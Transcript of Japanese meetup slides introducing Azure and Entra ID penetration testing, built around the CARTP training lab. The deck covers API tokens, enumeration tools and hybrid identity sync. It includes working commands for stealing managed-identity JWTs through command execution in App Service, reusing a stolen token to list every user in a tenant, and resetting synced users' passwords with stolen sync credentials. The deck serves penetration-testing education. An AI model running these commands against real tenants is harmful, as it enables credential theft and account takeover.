Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Azure Cloud ペンテスト入門(仮)

Fire / ふぁいあー
September 07, 2024
520

Azure Cloud ペンテスト入門(仮)

OffSecLab MeetUp in 渋谷オフ会での講演スライドです。
https://off-sec-lab.connpass.com/event/326460/

Fire / ふぁいあー

September 07, 2024
Tweet

Transcript

  1. はじめに • 昨今のインフラ情勢の移り変わりは以下のように目覚ましく変化してます。 • オンプレサーバやIaaS形のクラウドサーバは、 クラウドネイティブなPaaS型やFaaS型へ • 従業員向け端末の管理は、 ADに代わってEntraIDやその両方を同期させるハイブリッド型へ •

    ペンテスターもそのような変化に追従して日々新しく採用される技術ス タックへのペネトレーションテスト能力の研鑽が望まれる時代です。 • もっといえば、ペネトレーションテストの考え方を抽象化してプラット フォームによらずテストできる能力を身につけられるとベストですよね。 3
  2. About me • Fire / ふぁいあー (@fire_fire_2) • 自己紹介 •

    OSCP (2022.1取得) / OSEP (2023.4取得) / CARTP / CRTP / CRTE / GCPN / AWS SCS / RISS • 現役ペンテスター • CARTE受講中 • お仕事 • セキュリティ界隈 およそ5.5年 (社会人6年目) • フォレンジック 1.5年 (2019.4 – 2020.9) • ペネトレーションテスト 4年 (2020.10 - Current) • トレーニング講師 数回 6
  3. • オンプレAD系 • CRTP • Certified Red Team Professional •

    Attacking & Defending Active Directory Lab • CRTE • Certified Red Team Expert • Windows Red Team Lab • CRTM • Certified Red Team Master • The Global Central Bank Lab • Azure Cloud系 • CARTP • Certified Azure Red Team Professional • Attacking & Defending Azure Cloud Lab • CARTE • Certified Azure Red Team Expert • Attacking and Defending Azure – Advanced Lab など 8 Altered Security社の認定 https://www.alteredsecurity.com/certifications
  4. Attacking & Defending Azure Cloud Lab • 企業が社内インフラとして利用するようなAzureの機能、特にEntraIDの 仕組みを軸として、Azure上のリソースを侵害していくペネトレーション テスト手法を学ぶことができるコースです。

    • 座学動画+スライド、ラボ環境+ラボ環境攻略の動画+ラボ環境攻略マ ニュアルが提供され、それを参考にラボ環境を侵害していきながら実践し て学ぶことできます。 • コマンドの使い方などから、基本的なペネトレの戦術(偵察、認証情報窃取、侵入、 列挙、横展開など)、特に列挙の紹介が多めになっています。 • ラボ環境の攻略では、Azure上のリソースを侵害して、各リソースのメタデータな どをフラグとして得ていくCTF形式になっています。 • トレーニングを受講し修了試験に合格すると、CARTPと呼ばれる認定が 受けれます。 10
  5. CARTP試験について • トレーニングで学んだことを基本に試験環境を侵害していく実技試験です。 • 試験環境が与えられて24時間でその環境を侵害していきます。 • 次の24時間で侵害手順や侵害手法にたいする対策・緩和策をまとめたレポートを 英語で作成し提出します。 • いわゆるOSCP形式の試験です。

    • OSCPなどのOffsec試験と似ていますが、以下の点が異なります。 • Webカメラやデスクトップのモニタリングがなく監督されません! • 試験日程をスケジュールする必要がなく、好きな時に始められます。 • ただし、試験受験期限が設定されているのでその期間内である必要があります。 • そのため、非常に受験しやすい試験だと思います。 • (いつでも受験できるので、先延ばししがちというデメリットもある。) 12
  6. Entra ID とは • 以前は、AzureAD(Azure Active Directory)と呼ばれていました。 • MS社が組織向けに提供するクラウド型のIDおよびアクセス管理システム、 つまり、IdPです。

    • Azureや組織向けのMS365ではセットでテナントが作成され、サービスの認証に利 用されます。 • 他社サービスとも連携してそのサービスの認証基盤としても利用可能です。 • また、ゼロトラストソリューションの1つで、オンプレのActive Directoryのクラウド代替版みたいな位置付けです。 • 追加料金は必要ですが、Intuneで端末に組織のポリシーを適用させたりできます。 • ただし、プロトコルや仕組みはオンプレADとは全くもって違います。 14
  7. Entra IDの侵害 Entra IDを侵害するための認証情報の窃取が必要です。窃取されうる認証 情報とその窃取方法は以下のようなものがあります。 • 正規IDとパスワードの組み合わせ • フィッシング攻撃で窃取 •

    パスワードスプレー攻撃で窃取 • Entra ID Connect同期サーバへの攻撃で窃取 • Primary Refresh Token(PRT) • Entra ID 参加している端末から窃取、例えばマルウェア感染などで。 • Json Web Token(JWT) • フィッシング攻撃で窃取 • 正規のID、パスワードで要求・窃取 • RCEやSSRF攻撃でマネージドID(AWSでいうIAMロール)から窃取 15 トレーニング内では JWTをよく悪用します。
  8. • AzureはいくつかのAPIで構成され ており、Azure上の操作や参照は これらのAPIを通して行われます。 • これらのAPIを利用するときに認証 に使われるのがJWTです。 16 Azure環境でのJWT API

    API Azure Resource Management API (https://management.azure.com/) Microsoft Graph API (https://graph.microsoft.com/) Azure KeyVault API (https://vault.azure.net) とか
  9. 17 Azure環境でのJWT API API Azure Resource Management API (https://management.azure.com/) Microsoft

    Graph API (https://graph.microsoft.com/) Azure KeyVault API (https://vault.azure.net) とか ①GraphAPIのJWT要求 (ID・PWとかPRTとか添えて) ②応答 (GraphAPI用のJWTが返る) ③GraphAPIを通してMS365にアクセス (Graph用のJWTを添えて)
  10. 18 Azure環境でのJWT API API Azure Resource Management API (https://management.azure.com/) Microsoft

    Graph API (https://graph.microsoft.com/) Azure KeyVault API (https://vault.azure.net) とか ①GraphAPIのJWT要求 (専用のシークレットを添えて) ②応答 (GraphAPI用のJWTが返る) ③GraphAPIを通してMS365にアクセス (Graph用のJWTを添えて) AppServicesなど 何かしらのリソース
  11. 19 JWT窃取・悪用イメージ API API Azure Resource Management API (https://management.azure.com/) Microsoft

    Graph API (https://graph.microsoft.com/) Azure KeyVault API (https://vault.azure.net) とか ②GraphAPIの JWT要求 ③応答 (GraphAPI用のJWTが返る) ⑤GraphAPIを通してMS365にアクセス (Graph用のJWTを添えて) AppServicesなど 何かしらのリソース (RCEとかの脆弱性) ①RCEで 強制的に JWTを要求 ④JWT窃取 Attacker
  12. RCE可能なAppServiceからのJWTの窃取 コマンド実行可能な脆弱性がある場合は、Curlなどで以下のようにJWT要 求用のエンドポイントにアクセスすることでJWTの窃取が可能です。 • 実行コマンド例 • AppService内では、デフォルトで以下の環境変数が設定されています。 • $IDENTITY_ENDPOINT:JWT要求用のエンドポイントのURL •

    $IDENTITY_HEADER:JWT要求用のシークレット • JWTで操作したいAPIに応じてresourceのURLを変更します。 20 > curl $IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01 -H secret:$IDENTITY_HEADER > curl $IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01 - H secret:$IDENTITY_HEADER > curl $IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 -H secret:$IDENTITY_HEADER
  13. 認証情報の悪用 以下のように窃取した認証情報を使用して手動でAzureのAPIにアクセスす ることでAzure環境の参照や操作ができます。 例)テナント内の全ユーザの列挙 21 > $graphToken = 'eyJ0eX..’ >

    $URI = 'https://graph.microsoft.com/v1.0/users' > $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $graphToken" } } > (Invoke-RestMethod @RequestParams).value
  14. 列挙ツール(手動) 手動で列挙するのに便利な以下のようなツールがあります。 • Az Powershell Module • Azureリソースの参照と操作 https://learn.microsoft.com/ja-jp/powershell/azure/new-azureps-module-az •

    Azure AD Powershell Module • Entra IDの参照と操作 https://learn.microsoft.com/ja-jp/powershell/module/azuread/ • Azure-cli • Azureリソースの参照と操作 https://learn.microsoft.com/ja-jp/cli/azure/ • Microsoft Graph PowerShell SDK Module • Entra IDの参照と操作 https://learn.microsoft.com/ja-jp/powershell/microsoftgraph/ 22
  15. 列挙ツール(自動) 手動は大変なので以下のような自動列挙ツールがあります。 • AzureHound • Azureリソース、Entra IDをいい感じに列挙 https://github.com/BloodHoundAD/AzureHound • ROADrecon

    • 主にEntra IDをメインに列挙 https://github.com/dirkjanm/ROADtools • Stormsportter • 主にAzureリソースをメインに列挙 https://github.com/Azure/Stormspotter 23
  16. Azure AD Powershell Module • 2024/03/30時点で非推奨になっており、以降、Microsoft Graph Powershell SDK Moduleの利用が推奨されています。

    • CARTPのトレーニングの内容も、比較的最近にMicrosoft Graph Powershell SDK Moduleを使うように改定されていたりします。 24
  17. Microsoft Graph Powershell SDK Module • Microsoft Graph APIを通してEntra IDの参照と操作を行うことができる

    Powershell Moduleです。 • 基本的に、Azure AD Moduleと同じことができます。 • AzureAD ModuleはAAD Graph APIを使用 • Azure AD Moduleをラップして動作するようなツールは、Microsoft Graph Powershell SDK Moduleに対応していないものも多いので、しば らくは非推奨なAzure AD Moduleも必要な場合が多いです。 25
  18. Microsoft Graph Powershell SDK Module デメリット:デフォルトのAPIアクセス許可の範 囲がとても狭いです。 • Moduleへの通常ログイン >

    Connect-MgGraph • デフォルトでは、ユーザ自身に権限があれど、 自身のプロファイルと基本的な組織情報しかア クセス許可がない。 • アカウントの一覧を見る、 net user /domainみたいなことができない。 26
  19. Microsoft Graph Powershell SDK Module 回避策:他のModuleでログインしてMSGraphのJWTを取得して、その JWTをMicrosoft Graph Powershell SDK

    Moduleで使います。 例)Az Powershell ModuleでJWTを取得してMG Moduleで再利用 27 > Connect-AzAccount > (Get-AzAccessToken -ResourceTypeName MSGraph).Token > $graphToken = 'eyJ0eX..' > Connect-MgGraph –AccessToken ($graphToken | ConvertTo-SecureString -AsPlainText -Force)
  20. テナントの作成方法 現在では以下のおおよそ3つぐらいの方法で無料でEntra IDのテナントを作 成することができます。 • 方法①:新規にMSアカウントを作成して、Microsoft Azureの無料試用版 にサインアップする方法 • 方法②:組織版Microsoft

    365の無料試用版にサインアップする方法 • 方法③:Microsoft 365 E5などを契約している会社のアカウントなどで 新しいテナントを追加作成する方法 • Entra IDがP1やP2契約の場合 30
  21. オンプレADとEntra IDの連携 • Entra ID登場以前にオンプレADでシステムを構築している組織は、完全 にEntra IDへの移行を行うのを断念してハイブリッド環境を選択すること も多いかと思います。 • Entra

    IDにはオンプレADと連携させて、オンプレADのユーザを基に Entra IDでもユーザ認証する機能があります。 • Microsoft Entra Connect(無料) • Microsoft Entra クラウド同期(有料でEntra IDのP1かP2が必要) • このような認証連携機能は攻撃するポイントとなりえます。 https://learn.microsoft.com/ja-jp/entra/identity/hybrid/cloud- sync/what-is-cloud-sync 40
  22. Microsoft Entra Connect オンプレADに参加した連携用のサーバに連携用のエージェントをインス トールして設定するだけで簡単に利用できるため、オンプレADとEntra ID を連携している企業では一番よく利用されています。 Microsoft Entra Connectでは以下の連携方法があります。

    • パスワードハッシュ同期 • 一番簡単に設定でき、エージェントの簡単設定を選択するとデフォルトでこの連携 方法が採用されます。 • パススルー認証 • フェデレーション認証 • パススルーと似ていますがこちらはADFSを使用したSAML準拠の認証連携方法で す。オンプレADをIdPとして外部公開することでEntra IDで認証連携します。 41
  23. パスワードハッシュ同期環境の攻撃 47 オンプレAD サーバ Entra Connect 同期サーバ オンプレAD参加 Entra ID参加

    前提: 侵入 as 管理者 認証 Attacker ※どちらかというとオンプレAD環境の攻撃
  24. 窃取可能な同期処理用ユーザは以下のアカウントです。 • Entra IDユーザアカウント • ユーザ名:Sync_* • Entra ID上のオンプレADと同期しているユーザのパスワードを変更可能な権限 •

    Entra IDオンリーのユーザのパスワードは変更不可 • オンプレADユーザアカウント • ユーザ名:MSOL_* • オンプレADのレプリケート権限が付与 • DCSyncでオンプレADユーザの認証情報が窃取可能 • かなりの高権限アカウントのため、 DCと同等レベルに同期サーバの保護が必要です。 パスワードハッシュ同期環境の攻撃 49
  25. パスワードハッシュ同期環境の攻撃 オンプレADと同期して作成されたEntra IDユーザのパスワード変更 • AADInternalsを読み込み、sync_*の認証情報セットして以下のコマンド を実行することで変更できます。 • 高い権限が付与されたオンプレADから同期してきたユーザなどが存在す る場合に影響が考えられますが、MFAは突破できません。 •

    Entra IDオンリーユーザのパスワードは変更できません。 • https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/tshoot- connect-sync-errors#deletion-access-violation-and-password-access- violation-errors 50 > Get-AADIntUser -UserPrincipalName [email protected] | select ImmutableId > Set-AADIntUserPassword -SourceAnchor “<ImmutableId>” -Password “hogefuga1234$" -Verbose
  26. まとめ • 今回は、Azure Cloud ペンテスト入門ということでクラウドペンテスト の考え方やツール、検証環境、最後はほとんどオンプレADの話ですが ちょっとした攻撃方法を紹介させていただきました。 • まだまだ、ペネトレーションテストは大オンプレAD時代かとは思います が、Entra

    IDやAzure Cloudなど企業システムでの流行りのクラウドサー ビスを対象としたペネトレを実施できることがハッカー・ペンテスターと して差別化できるポイントになるかと思います。鍛錬を怠るなよ!(煽 • 余談:まとめきれていないなと感じたので、(仮)のまま発表させていた だきました。 52